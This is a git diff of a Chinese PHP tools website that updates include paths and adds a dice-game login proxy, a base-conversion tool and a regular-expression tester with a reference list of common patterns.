||||
if (data.code == '200') {
|
||||
layer.alert('注册成功<br/>ID:'+data['user']['userid']+'<br/>账号:'+data['user']['username']+'<br/>密码:'+data['user']['password']+'<br/>初始金币:'+data['user']['csjb']);
|
||||
}else{
|
||||
layer.alert(data.msg);
|
||||
}
|
||||
})
|
||||
}
|
||||
function out_user(){
|
||||
setCookie('username');
|
||||
layer.msg('已退出');
|
||||
window.location.href="index.php";
|
||||
}
|
||||
function talk_get(){
|
||||
var content = $('#content').val();
|
||||
var cache=getCookie('username');
|
||||
if(content==''){
|
||||
layer.alert('内容为空');
|
||||
return false;
|
||||
}
|
||||
|
||||
$.post('https://api.yum6.cn/dice_game/index.php/index/talk/index',{content:content,token:cache},function(data){
|
||||
console.log(data.code);
|
||||
if(data.code=='200'){
|
||||
layer.alert('已发布');
|
||||
window.location.href="index.php";
|
||||
}else if(data.code=="201"){
|
||||
layer.alert(data.msg);
|
||||
}else if(data.code=='202'){
|
||||
layer.alert(data.msg);
|
||||
}else if(data.code=='203'){
|
||||
layer.alert(data.msg);
|
||||
}else{
|
||||
layer.alert('发布失败');
|
||||
}
|
||||
});
|
||||
|
||||
}
|
||||
</script>
|
||||
<?php include '../../footer.php';?>
|
||||
|
|
@ -0,0 +1,94 @@
|
|||
<?php
|
||||
header('Content-type: application/json');
|
||||
|
||||
$username = strFilter($_POST['username']) ? strFilter($_POST['username']) : '';
|
||||
$password = strFilter($_POST['password']) ? strFilter($_POST['password']) : '';
|
||||
if($username&&$password){
|
||||
$param=array('username'=>$username,'password'=>$password);
|
||||
$url = request_post('http://api.yum6.cn/dice_game/index.php/user/user/login',$param);
|
||||
$json = json_decode($url,1);
|
||||
if($json['code']=="200"){
|
||||
ob_start();
|
||||
setcookie("username",$json['user_token'], time()+3600*24,'/');
|
||||
//$_COOKIE['username'] = $json['user_token'];
|
||||
echo $url;
|
||||
}else{
|
||||
echo $url;
|
||||
}
|
||||
}
|
||||
|
||||
function strFilter($str){
|
||||
//特殊字符替换
|
||||
$str = str_replace('`', '', $str);
|
||||
$str = str_replace('·', '', $str);
|
||||
$str = str_replace('~', '', $str);
|
||||
$str = str_replace('!', '', $str);
|
||||
$str = str_replace('!', '', $str);
|
||||
$str = str_replace('@', '', $str);
|
||||
$str = str_replace('#', '', $str);
|
||||
$str = str_replace('$', '', $str);
|
||||
$str = str_replace('¥', '', $str);
|
||||
$str = str_replace('%', '', $str);
|
||||
$str = str_replace('^', '', $str);
|
||||
$str = str_replace('……', '', $str);
|
||||
$str = str_replace('&', '', $str);
|
||||
$str = str_replace('*', '', $str);
|
||||
$str = str_replace('(', '', $str);
|
||||
$str = str_replace(')', '', $str);
|
||||
$str = str_replace('(', '', $str);
|
||||
$str = str_replace(')', '', $str);
|
||||
$str = str_replace('-', '', $str);
|
||||
$str = str_replace('_', '', $str);
|
||||
$str = str_replace('——', '', $str);
|
||||
$str = str_replace('+', '', $str);
|
||||
$str = str_replace('=', '', $str);
|
||||
$str = str_replace('|', '', $str);
|
||||
$str = str_replace('\\', '', $str);
|
||||
$str = str_replace('[', '', $str);
|
||||
$str = str_replace(']', '', $str);
|
||||
$str = str_replace('【', '', $str);
|
||||
$str = str_replace('】', '', $str);
|
||||
$str = str_replace('{', '', $str);
|
||||
$str = str_replace('}', '', $str);
|
||||
$str = str_replace(';', '', $str);
|
||||
$str = str_replace(';', '', $str);
|
||||
$str = str_replace(':', '', $str);
|
||||
$str = str_replace(':', '', $str);
|
||||
$str = str_replace('\'', '', $str);
|
||||
$str = str_replace('"', '', $str);
|
||||
$str = str_replace('“', '', $str);
|
||||
$str = str_replace('”', '', $str);
|
||||
$str = str_replace(',', '', $str);
|
||||
$str = str_replace(',', '', $str);
|
||||
$str = str_replace('<', '', $str);
|
||||
$str = str_replace('>', '', $str);
|
||||
$str = str_replace('《', '', $str);
|
||||
$str = str_replace('》', '', $str);
|
||||
$str = str_replace('.', '', $str);
|
||||
$str = str_replace('。', '', $str);
|
||||
$str = str_replace('/', '', $str);
|
||||
$str = str_replace('、', '', $str);
|
||||
$str = str_replace('?', '', $str);
|
||||
$str = str_replace('?', '', $str);
|
||||
return trim($str);
|
||||
}
|
||||
|
||||
|
||||
function request_post($url = '', $param = '') {
|
||||
if (empty($url) || empty($param)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$postUrl = $url;
|
||||
$curlPost = $param;
|
||||
$ch = curl_init();
|
||||
curl_setopt($ch, CURLOPT_URL,$postUrl);
|
||||
curl_setopt($ch, CURLOPT_HEADER, 0);
|
||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
|
||||
curl_setopt($ch, CURLOPT_POST, 1);
|
||||
curl_setopt($ch, CURLOPT_POSTFIELDS, $curlPost);
|
||||
$data = curl_exec($ch);
|
||||
curl_close($ch);
|
||||
|
||||
return $data;
|
||||
}
|
|
@ -1,6 +1,6 @@
|
|||
<?php
|
||||
$id="2";
|
||||
include '../header.php';?>
|
||||
include '../../header.php';?>
|
||||
<div class="container clearfix">
|
||||
<div class="row row-xs">
|
||||
<div class="col-lg-6 col-md-6 col-sm-6 col-xs-10 col-xs-offset-1 col-sm-offset-3 col-md-offset-3 col-lg-offset-3">
|
||||
|
@ -43,6 +43,5 @@ include '../header.php';?>
|
|||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<?php more('dns','url',Tools_url);?>
|
||||
<script type="text/javascript" src="dns.php"></script>
|
||||
<?php include '../footer.php';?>
|
||||
<?php include '../../footer.php';?>
|
|
@ -1,6 +1,6 @@
|
|||
<?php
|
||||
$id="21";
|
||||
include '../header.php';?>
|
||||
include '../../header.php';?>
|
||||
<div class="container clearfix">
|
||||
<div class="row row-xs">
|
||||
<div class="col-lg-6 col-md-6 col-sm-6 col-xs-10 col-xs-offset-1 col-sm-offset-3 col-md-offset-3 col-lg-offset-3">
|
||||
|
@ -76,4 +76,4 @@ include '../header.php';?>
|
|||
</div>
|
||||
</div>
|
||||
<script type="text/javascript" src="dnstest.php"></script>
|
||||
<?php include '../footer.php';?>
|
||||
<?php include '../../footer.php';?>
|
|
@ -1,6 +1,6 @@
|
|||
<?php
|
||||
$id="3";
|
||||
include '../header.php';?>
|
||||
include '../../header.php';?>
|
||||
<div class="container clearfix">
|
||||
<div class="row row-xs">
|
||||
<div class="col-lg-6 col-md-6 col-sm-6 col-xs-10 col-xs-offset-1 col-sm-offset-3 col-md-offset-3 col-lg-offset-3">
|
||||
|
@ -34,6 +34,5 @@ include '../header.php';?>
|
|||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<?php more('dwzurl','url',Tools_url);?>
|
||||
<script type="text/javascript" src="dwzurl.php"></script>
|
||||
<?php include '../footer.php';?>
|
||||
<?php include '../../footer.php';?>
|
|
@ -0,0 +1,157 @@
|
|||
$(document).ready(function() {
|
||||
$('[name="input_"]').click(function() {
|
||||
$('#input_num').val($(this).val());
|
||||
$('#input_value').val("");
|
||||
$('#output_value').val("");
|
||||
});
|
||||
$('[name="output_"]').click(function() {
|
||||
$('#output_num').val($(this).val());
|
||||
px(1);
|
||||
});
|
||||
$("#input_num").change(function() {
|
||||
$("#input_area input").removeAttr("checked");
|
||||
var val = $(this).val();
|
||||
$("#input_area input[value=" + val + "]").attr("checked", "checked");
|
||||
$('#input_value').val("");
|
||||
$('#output_value').val("");
|
||||
});
|
||||
$("#output_num").change(function() {
|
||||
$("#output_area input").removeAttr("checked");
|
||||
var val = $(this).val();
|
||||
$("#output_area input[value=" + val + "]").attr("checked", "checked");
|
||||
px(1);
|
||||
});
|
||||
});
|
||||
function pxparseFloat(x, y) {
|
||||
x = x.toString();
|
||||
var num = x;
|
||||
var data = num.split(".");
|
||||
var you = data[1].split(""); //将右边转换为数组 得到类似 [1,0,1]
|
||||
var sum = 0; //小数部分的和
|
||||
for (var i = 0; i < data[1].length; i++) {
|
||||
sum += you[i] * Math.pow(y, -1 * (i + 1))
|
||||
}
|
||||
return parseInt(data[0], y) + sum;
|
||||
}
|
||||
function zhengze(x) {
|
||||
var str;
|
||||
x = parseInt(x);
|
||||
if (x <= 10) {
|
||||
str = new RegExp("^[+\\-]?[0-" + (x - 1) + "]*[.]?[0-" + (x - 1) + "]*$", "gi");
|
||||
} else {
|
||||
var letter = "";
|
||||
switch (x) {
|
||||
case 11:
|
||||
letter = "a";
|
||||
break;
|
||||
case 12:
|
||||
letter = "b";
|
||||
break;
|
||||
case 13:
|
||||
letter = "c";
|
||||
break;
|
||||
case 14:
|
||||
letter = "d";
|
||||
break;
|
||||
case 15:
|
||||
letter = "e";
|
||||
break;
|
||||
case 16:
|
||||
letter = "f";
|
||||
break;
|
||||
case 17:
|
||||
letter = "g";
|
||||
break;
|
||||
case 18:
|
||||
letter = "h";
|
||||
break;
|
||||
case 19:
|
||||
letter = "i";
|
||||
break;
|
||||
case 20:
|
||||
letter = "j";
|
||||
break;
|
||||
case 21:
|
||||
letter = "k";
|
||||
break;
|
||||
case 22:
|
||||
letter = "l";
|
||||
break;
|
||||
case 23:
|
||||
letter = "m";
|
||||
break;
|
||||
case 24:
|
||||
letter = "n";
|
||||
break;
|
||||
case 25:
|
||||
letter = "o";
|
||||
break;
|
||||
case 26:
|
||||
letter = "p";
|
||||
break;
|
||||
case 27:
|
||||
letter = "q";
|
||||
break;
|
||||
case 28:
|
||||
letter = "r";
|
||||
break;
|
||||
case 29:
|
||||
letter = "s";
|
||||
break;
|
||||
case 30:
|
||||
letter = "t";
|
||||
break;
|
||||
case 31:
|
||||
letter = "u";
|
||||
break;
|
||||
case 32:
|
||||
letter = "v";
|
||||
break;
|
||||
case 33:
|
||||
letter = "w";
|
||||
break;
|
||||
case 34:
|
||||
letter = "x";
|
||||
break;
|
||||
case 35:
|
||||
letter = "y";
|
||||
break;
|
||||
case 36:
|
||||
letter = "z";
|
||||
break;
|
||||
}
|
||||
str = new RegExp("^[+\\-]?[0-9a-" + letter + "]*[.]?[0-9a-" + letter + "]*$", "gi");
|
||||
}
|
||||
return str;
|
||||
}
|
||||
var n = 50;
|
||||
var shurukuang = "";
|
||||
var flag = "";
|
||||
function px(y) {
|
||||
if ($("#input_value").val() != flag || y) {
|
||||
flag = $("#input_value").val();
|
||||
if ($("#input_num").selectedIndex < n) {
|
||||
$("#input_value").val("");
|
||||
$("#output_value").val("");
|
||||
} else {
|
||||
var px00 = $("#input_value").val();
|
||||
var px0 = px00.match(zhengze($("#input_num").val()));
|
||||
if (px0) {
|
||||
if (px0[0].indexOf(".") == -1) {
|
||||
var px1 = parseInt(px0, $('#input_num').val());
|
||||
} else {
|
||||
var px1 = pxparseFloat(px0, $('#input_num').val());
|
||||
}
|
||||
px1 = px1.toString($('#output_num').val());
|
||||
$("#output_value").val(px1);
|
||||
shurukuang = px00;
|
||||
} else {
|
||||
$("#input_value").val(shurukuang);
|
||||
}
|
||||
}
|
||||
n = $("#input_num").selectedIndex;
|
||||
}
|
||||
if ($("#input_value").val() == "") {
|
||||
$("#output_value").val("");
|
||||
}
|
||||
}
|
|
@ -0,0 +1,137 @@
|
|||
<?php
|
||||
$id = '49';
|
||||
include '../../header.php';
|
||||
?>
|
||||
<div class="container">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">在线进制转换</div>
|
||||
<div class="panel-body">
|
||||
<div class="form-horizontal">
|
||||
<div class="form-group">
|
||||
<label for="input_num" class="col-sm-2 control-label">原始进制</label>
|
||||
<div class="col-sm-10">
|
||||
<label class="radio-inline">
|
||||
<input type="radio" name="input_" value="2">2进制</label>
|
||||
<label class="radio-inline">
|
||||
<input type="radio" name="input_" value="4">4进制</label>
|
||||
<label class="radio-inline">
|
||||
<input type="radio" name="input_" value="8">8进制</label>
|
||||
<label class="radio-inline">
|
||||
<input type="radio" name="input_" value="10" checked="checked">10进制</label>
|
||||
<label class="radio-inline">
|
||||
<input type="radio" name="input_" value="16">16进制</label>
|
||||
<label class="radio-inline">
|
||||
<input type="radio" name="input_" value="32">32进制</label>
|
||||
<select id="input_num" class="input-small form-control" style="width: 100px; float:right;">
|
||||
<option value="2">2进制</option>
|
||||
<option value="3">3进制</option>
|
||||
<option value="4">4进制</option>
|
||||
<option value="5">5进制</option>
|
||||
<option value="6">6进制</option>
|
||||
<option value="7">7进制</option>
|
||||
<option value="8">8进制</option>
|
||||
<option value="9">9进制</option>
|
||||
<option value="10" selected="">10进制</option>
|
||||
<option value="11">11进制</option>
|
||||
<option value="12">12进制</option>
|
||||
<option value="13">13进制</option>
|
||||
<option value="14">14进制</option>
|
||||
<option value="15">15进制</option>
|
||||
<option value="16">16进制</option>
|
||||
<option value="17">17进制</option>
|
||||
<option value="18">18进制</option>
|
||||
<option value="19">19进制</option>
|
||||
<option value="20">20进制</option>
|
||||
<option value="21">21进制</option>
|
||||
<option value="22">22进制</option>
|
||||
<option value="23">23进制</option>
|
||||
<option value="24">24进制</option>
|
||||
<option value="25">25进制</option>
|
||||
<option value="26">26进制</option>
|
||||
<option value="27">27进制</option>
|
||||
<option value="28">28进制</option>
|
||||
<option value="29">29进制</option>
|
||||
<option value="30">30进制</option>
|
||||
<option value="31">31进制</option>
|
||||
<option value="32">32进制</option>
|
||||
<option value="33">33进制</option>
|
||||
<option value="34">34进制</option>
|
||||
<option value="35">35进制</option>
|
||||
<option value="36">36进制</option></select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label for="input_value" class="col-sm-2 control-label">转换数字</label>
|
||||
<div class="col-sm-10">
|
||||
<input id="input_value" type="text" value="" onpropertychange="px()" onchange="px()" oninput="px()" class="toolInput num_value form-control" placeholder="在此输入待转换数字"></div>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label for="output_num" class="col-sm-2 control-label">目标进制</label>
|
||||
<div class="col-sm-10">
|
||||
<label class="radio-inline">
|
||||
<input type="radio" name="output_" value="2">2进制</label>
|
||||
<label class="radio-inline">
|
||||
<input type="radio" name="output_" value="4">4进制</label>
|
||||
<label class="radio-inline">
|
||||
<input type="radio" name="output_" value="8">8进制</label>
|
||||
<label class="radio-inline">
|
||||
<input type="radio" name="output_" value="10">10进制</label>
|
||||
<label class="radio-inline">
|
||||
<input type="radio" name="output_" value="16" checked="checked">16进制</label>
|
||||
<label class="radio-inline">
|
||||
<input type="radio" name="output_" value="32">32进制</label>
|
||||
<select id="output_num" onchange="px(1);" class="input-small form-control" style="width: 100px; float:right;">
|
||||
<option value="2">2进制</option>
|
||||
<option value="3">3进制</option>
|
||||
<option value="4">4进制</option>
|
||||
<option value="5">5进制</option>
|
||||
<option value="6">6进制</option>
|
||||
<option value="7">7进制</option>
|
||||
<option value="8">8进制</option>
|
||||
<option value="9">9进制</option>
|
||||
<option value="10">10进制</option>
|
||||
<option value="11">11进制</option>
|
||||
<option value="12">12进制</option>
|
||||
<option value="13">13进制</option>
|
||||
<option value="14">14进制</option>
|
||||
<option value="15">15进制</option>
|
||||
<option value="16" selected="">16进制</option>
|
||||
<option value="17">17进制</option>
|
||||
<option value="18">18进制</option>
|
||||
<option value="19">19进制</option>
|
||||
<option value="20">20进制</option>
|
||||
<option value="21">21进制</option>
|
||||
<option value="22">22进制</option>
|
||||
<option value="23">23进制</option>
|
||||
<option value="24">24进制</option>
|
||||
<option value="25">25进制</option>
|
||||
<option value="26">26进制</option>
|
||||
<option value="27">27进制</option>
|
||||
<option value="28">28进制</option>
|
||||
<option value="29">29进制</option>
|
||||
<option value="30">30进制</option>
|
||||
<option value="31">31进制</option>
|
||||
<option value="32">32进制</option>
|
||||
<option value="33">33进制</option>
|
||||
<option value="34">34进制</option>
|
||||
<option value="35">35进制</option>
|
||||
<option value="36">36进制</option></select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label for="output_value" class="col-sm-2 control-label">转换结果</label>
|
||||
<div class="col-sm-10">
|
||||
<input type="text" id="output_value" class="toolInput num_value form-control" placeholder="转换结果"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">工具简介</div>
|
||||
<div class="panel-body">
|
||||
<p>支持在2~36进制之间进行任意转换,支持浮点型。</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<script src="hex.js"></script>
|
||||
<?php include '../../footer.php';?>
|
|
@ -1,6 +1,6 @@
|
|||
<?php
|
||||
$id="4";
|
||||
include '../header.php';?>
|
||||
include '../../header.php';?>
|
||||
<div class="container clearfix">
|
||||
<div class="row row-xs">
|
||||
<div class="col-lg-6 col-md-6 col-sm-6 col-xs-10 col-xs-offset-1 col-sm-offset-3 col-md-offset-3 col-lg-offset-3">
|
||||
|
@ -24,6 +24,5 @@ include '../header.php';?>
|
|||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<?php more('icp','url',Tools_url);?>
|
||||
<script type="text/javascript" src="icp.php"></script>
|
||||
<?php include '../footer.php';?>
|
||||
<?php include '../../footer.php';?>
|
|
@ -1,6 +1,6 @@
|
|||
<?php
|
||||
$id="5";
|
||||
include '../header.php';?>
|
||||
include '../../header.php';?>
|
||||
<?php
|
||||
$ip = real_ip();
|
||||
$url = "https://api.yum6.cn/ip.php?ip=".$ip;
|
||||
|
@ -32,6 +32,5 @@ $content = '<table class="table table-bordered"><tbody><tr><th scope="row">IP地
|
|||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<?php more('ip','ip',Tools_url);?>
|
||||
<script type="text/javascript" src="ip.php"></script>
|
||||
<?php include '../footer.php';?>
|
||||
<?php include '../../footer.php';?>
|
|
@ -1,6 +1,6 @@
|
|||
<?php
|
||||
$id="30";
|
||||
include '../header.php';
|
||||
include '../../header.php';
|
||||
$string = <<<html
|
||||
/* 美化:格式化代码,使之容易阅读 */
|
||||
/* 净化:去掉代码中多余的注释、换行、空格等 */
|
||||
|
@ -98,4 +98,4 @@ clipboard.on('error',function(e){
|
|||
</script>
|
||||
<script src="js/code_packed.js"></script>
|
||||
<script src="js/eval_out.js"></script>
|
||||
<?php include '../footer.php';?>
|
||||
<?php include '../../footer.php';?>
|
|
@ -0,0 +1,318 @@
|
|||
<?php
|
||||
$id="43";
|
||||
include '../../header.php';
|
||||
?>
|
||||
<!--该工具由ITool.Club提供-->
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-md-12">
|
||||
<div class="panel panel-default">
|
||||
<div id="compiler" class="panel-heading">
|
||||
<form class="form-inline" role="form">
|
||||
<label><strong style="font-size: 16px"><i class="fa fa-cogs"></i> 正则表达式在线测试</strong></label>
|
||||
<button type="button" class="btn btn-success" data-toggle="modal" data-target="#myModal" id="submitBTN"><i class="fa fa-send-o"></i> 生成代码</button>
|
||||
</form>
|
||||
</div>
|
||||
<div class="panel-body">
|
||||
|
||||
<div class="row">
|
||||
<div class="col-md-12">
|
||||
<div class="alert alert-danger" style="display: none;"></div>
|
||||
</div>
|
||||
<div class="col-md-12">
|
||||
<textarea rows="6" id="textSour" placeholder="在此输入待匹配文本" class="form-control"></textarea>
|
||||
</div>
|
||||
|
||||
<div class="col-md-12" style="font-size:14px;padding-top: 12px;">
|
||||
|
||||
<form class="form-inline">
|
||||
|
||||
<div class="form-group">
|
||||
<label for="email">正则表达式:</label>
|
||||
<input type="text" id="textPattern" placeholder="在此输入正则表达式" class="form-control">
|
||||
</div>
|
||||
<div class="checkbox"><label><input type="checkbox" value="global" checked="checked" id="optionGlobal" name="optionGlobl">全局搜索</label></div>
|
||||
<div class="checkbox"><label><input type="checkbox" value="ignoreCase" id="optionIgnoreCase" name="optionIgnoreCase">忽略大小写</label></div>
|
||||
<div class="form-group"><label><a class="btn btn-success" onclick="return onMatch();">测试匹配</a></label></div>
|
||||
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<div class="col-md-12" style="font-size:14px;padding-top: 12px;" >
|
||||
<textarea rows="6" readonly="readonly" placeholder="匹配结果..." id="textMatchResult" class="form-control"></textarea>
|
||||
</div>
|
||||
<div class="col-md-12" style="font-size:14px;padding-top: 12px;">
|
||||
<form class="form-inline">
|
||||
<div class="form-group">
|
||||
<label for="email">替换文本:</lable>
|
||||
<input type="text" id="textReplace" name="textReplace" class="form-control" placeholder="在此输入替换文本">
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label>
|
||||
<a onclick="return onReplace()" class="btn btn-warning"><i class="icon-chevron-down icon-white"></i>替换</a>
|
||||
</label>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
<div class="col-md-12" style="font-size:14px;padding-top: 12px;">
|
||||
<textarea rows="6" readonly="readonly" id="textReplaceResult" class="form-control" placeholder="替换结果..." ></textarea>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<style>.panel-body{word-wrap: break-word;}</style>
|
||||
<div class="col-md-12">
|
||||
<div id="about" class="panel panel-default">
|
||||
<div class="panel-heading">常用正则表达式</div>
|
||||
<div class="panel-body">
|
||||
<h2>一、校验数字的表达式</h2>
|
||||
<ul>
|
||||
<li>数字:<strong>^[0-9]*$</strong></li>
|
||||
<li>n位的数字:<strong>^\d{n}$</strong></li>
|
||||
<li>至少n位的数字<strong>:^\d{n,}$</strong></li>
|
||||
<li>m-n位的数字:<strong>^\d{m,n}$</strong></li>
|
||||
<li>零和非零开头的数字:<strong>^(0|[1-9][0-9]*)$</strong></li>
|
||||
<li>非零开头的最多带两位小数的数字:<strong>^([1-9][0-9]*)+(\.[0-9]{1,2})?$</strong></li>
|
||||
<li>带1-2位小数的正数或负数:<strong>^(\-)?\d+(\.\d{1,2})$</strong></li>
|
||||
<li>正数、负数、和小数:<strong>^(\-|\+)?\d+(\.\d+)?$</strong></li>
|
||||
<li>有两位小数的正实数:<strong>^[0-9]+(\.[0-9]{2})?$</strong></li>
|
||||
<li>有1~3位小数的正实数:<strong>^[0-9]+(\.[0-9]{1,3})?$</strong></li>
|
||||
<li>非零的正整数:<strong>^[1-9]\d*$ 或 ^([1-9][0-9]*){1,3}$ 或 ^\+?[1-9][0-9]*$</strong></li>
|
||||
<li>非零的负整数:<strong>^\-[1-9][]0-9"*$ 或 ^-[1-9]\d*$</strong></li>
|
||||
<li>非负整数:<strong>^\d+$ 或 ^[1-9]\d*|0$</strong></li>
|
||||
<li>非正整数:<strong>^-[1-9]\d*|0$ 或 ^((-\d+)|(0+))$</strong></li>
|
||||
<li>非负浮点数:<strong>^\d+(\.\d+)?$ 或 ^[1-9]\d*\.\d*|0\.\d*[1-9]\d*|0?\.0+|0$</strong></li>
|
||||
<li>非正浮点数:<strong>^((-\d+(\.\d+)?)|(0+(\.0+)?))$ 或 ^(-([1-9]\d*\.\d*|0\.\d*[1-9]\d*))|0?\.0+|0$</strong></li>
|
||||
<li>正浮点数:<strong>^[1-9]\d*\.\d*|0\.\d*[1-9]\d*$ 或 ^(([0-9]+\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9]+)|([0-9]*[1-9][0-9]*))$</strong></li>
|
||||
<li>负浮点数:<strong>^-([1-9]\d*\.\d*|0\.\d*[1-9]\d*)$ 或 ^(-(([0-9]+\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9]+)|([0-9]*[1-9][0-9]*)))$</strong></li>
|
||||
<li>浮点数:<strong>^(-?\d+)(\.\d+)?$ 或 ^-?([1-9]\d*\.\d*|0\.\d*[1-9]\d*|0?\.0+|0)$</strong></li>
|
||||
</ul>
|
||||
|
||||
<hr>
|
||||
<h2>二、校验字符的表达式</h2>
|
||||
<ul>
|
||||
<li>汉字:<strong>^[\u4e00-\u9fa5]{0,}$</strong></li>
|
||||
<li>英文和数字:<strong>^[A-Za-z0-9]+$ 或 ^[A-Za-z0-9]{4,40}$</strong></li>
|
||||
<li>长度为3-20的所有字符:<strong>^.{3,20}$</strong></li>
|
||||
<li>由26个英文字母组成的字符串:<strong>^[A-Za-z]+$</strong></li>
|
||||
<li>由26个大写英文字母组成的字符串:<strong>^[A-Z]+$</strong></li>
|
||||
<li>由26个小写英文字母组成的字符串:<strong>^[a-z]+$</strong></li>
|
||||
<li>由数字和26个英文字母组成的字符串:<strong>^[A-Za-z0-9]+$</strong></li>
|
||||
<li>由数字、26个英文字母或者下划线组成的字符串:<strong>^\w+$ 或 ^\w{3,20}$</strong></li>
|
||||
<li>中文、英文、数字包括下划线:<strong>^[\u4E00-\u9FA5A-Za-z0-9_]+$</strong></li>
|
||||
<li>中文、英文、数字但不包括下划线等符号:<strong>^[\u4E00-\u9FA5A-Za-z0-9]+$ 或 ^[\u4E00-\u9FA5A-Za-z0-9]{2,20}$</strong></li>
|
||||
<li>可以输入含有^%&',;=?$\"等字符:<strong>[^%&',;=?$\x22]+</strong></li>
|
||||
<li>禁止输入含有~的字符:<strong>[^~\x22]+</strong></li>
|
||||
</ul>
|
||||
<hr>
|
||||
<h2>三、特殊需求表达式</h2>
|
||||
<ul>
|
||||
<li>Email地址:<strong>^\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*$</strong></li>
|
||||
<li>域名:<strong>[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(/.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})+/.?</strong></li>
|
||||
<li>InternetURL:<strong>[a-zA-z]+://[^\s]* 或 ^http://([\w-]+\.)+[\w-]+(/[\w-./?%&=]*)?$</strong></li>
|
||||
<li>手机号码:<strong>^(13[0-9]|14[5|7]|15[0|1|2|3|5|6|7|8|9]|18[0|1|2|3|5|6|7|8|9])\d{8}$</strong></li>
|
||||
<li>电话号码("XXX-XXXXXXX"、"XXXX-XXXXXXXX"、"XXX-XXXXXXX"、"XXX-XXXXXXXX"、"XXXXXXX"和"XXXXXXXX):<strong>^(\(\d{3,4}-)|\d{3.4}-)?\d{7,8}$ </strong></li>
|
||||
<li>国内电话号码(0511-4405222、021-87888822):<strong>\d{3}-\d{8}|\d{4}-\d{7}</strong>
|
||||
</li>
|
||||
<li>电话号码正则表达式(支持手机号码,3-4位区号,7-8位直播号码,1-4位分机号): <strong>((\d{11})|^((\d{7,8})|(\d{4}|\d{3})-(\d{7,8})|(\d{4}|\d{3})-(\d{7,8})-(\d{4}|\d{3}|\d{2}|\d{1})|(\d{7,8})-(\d{4}|\d{3}|\d{2}|\d{1}))$)</strong></li>
|
||||
<li>身份证号(15位、18位数字),最后一位是校验位,可能为数字或字符X:<strong>(^\d{15}$)|(^\d{18}$)|(^\d{17}(\d|X|x)$)</strong></li>
|
||||
<li>帐号是否合法(字母开头,允许5-16字节,允许字母数字下划线):<strong>^[a-zA-Z][a-zA-Z0-9_]{4,15}$</strong></li>
|
||||
<li>密码(以字母开头,长度在6~18之间,只能包含字母、数字和下划线):<strong>^[a-zA-Z]\w{5,17}$</strong></li>
|
||||
<li>强密码(必须包含大小写字母和数字的组合,不能使用特殊字符,长度在8-10之间):<strong>^(?=.*\d)(?=.*[a-z])(?=.*[A-Z]).{8,10}$ </strong></li>
|
||||
<li>日期格式:<strong>^\d{4}-\d{1,2}-\d{1,2}</strong></li>
|
||||
<li>一年的12个月(01~09和1~12):<strong>^(0?[1-9]|1[0-2])$</strong></li>
|
||||
<li>一个月的31天(01~09和1~31):<strong>^((0?[1-9])|((1|2)[0-9])|30|31)$ </strong></li>
|
||||
<li>钱的输入格式:
|
||||
<ol>
|
||||
<li>有四种钱的表示形式我们可以接受:"10000.00" 和 "10,000.00", 和没有 "分" 的 "10000" 和 "10,000":<strong>^[1-9][0-9]*$ </strong></li>
|
||||
<li>这表示任意一个不以0开头的数字,但是,这也意味着一个字符"0"不通过,所以我们采用下面的形式:<strong>^(0|[1-9][0-9]*)$ </strong></li><li>
|
||||
一个0或者一个不以0开头的数字.我们还可以允许开头有一个负号:<strong>^(0|-?[1-9][0-9]*)$ </strong></li>
|
||||
<li>这表示一个0或者一个可能为负的开头不为0的数字.让用户以0开头好了.把负号的也去掉,因为钱总不能是负的吧。下面我们要加的是说明可能的小数部分:<strong>^[0-9]+(.[0-9]+)?$ </strong></li>
|
||||
<li>必须说明的是,小数点后面至少应该有1位数,所以"10."是不通过的,但是 "10" 和 "10.2" 是通过的:<strong>^[0-9]+(.[0-9]{2})?$ </strong></li>
|
||||
<li>这样我们规定小数点后面必须有两位,如果你认为太苛刻了,可以这样:<strong>^[0-9]+(.[0-9]{1,2})?$ </strong></li>
|
||||
<li>这样就允许用户只写一位小数.下面我们该考虑数字中的逗号了,我们可以这样:<strong>^[0-9]{1,3}(,[0-9]{3})*(.[0-9]{1,2})?$ </strong></li>
|
||||
<li>1到3个数字,后面跟着任意个 逗号+3个数字,逗号成为可选,而不是必须:<strong>^([0-9]+|[0-9]{1,3}(,[0-9]{3})*)(.[0-9]{1,2})?$ </strong></li>
|
||||
<li>备注:这就是最终结果了,别忘了"+"可以用"*"替代如果你觉得空字符串也可以接受的话(奇怪,为什么?)最后,别忘了在用函数时去掉去掉那个反斜杠,一般的错误都在这里</li></ol></li>
|
||||
<li>xml文件:<strong>^([a-zA-Z]+-?)+[a-zA-Z0-9]+\\.[x|X][m|M][l|L]$</strong></li>
|
||||
<li>中文字符的正则表达式:<strong>[\u4e00-\u9fa5]</strong></li>
|
||||
<li>双字节字符:<strong>[^\x00-\xff] (包括汉字在内,可以用来计算字符串的长度(一个双字节字符长度计2,ASCII字符计1))</strong></li>
|
||||
<li>空白行的正则表达式:<strong>\n\s*\r (可以用来删除空白行)</strong></li>
|
||||
<li>HTML标记的正则表达式:<strong><(\S*?)[^>]*>.*?</\1>|<.*? /> (
|
||||
首尾空白字符的正则表达式:^\s*|\s*$或(^\s*)|(\s*$) (可以用来删除行首行尾的空白字符(包括空格、制表符、换页符等等),非常有用的表达式)</strong></li>
|
||||
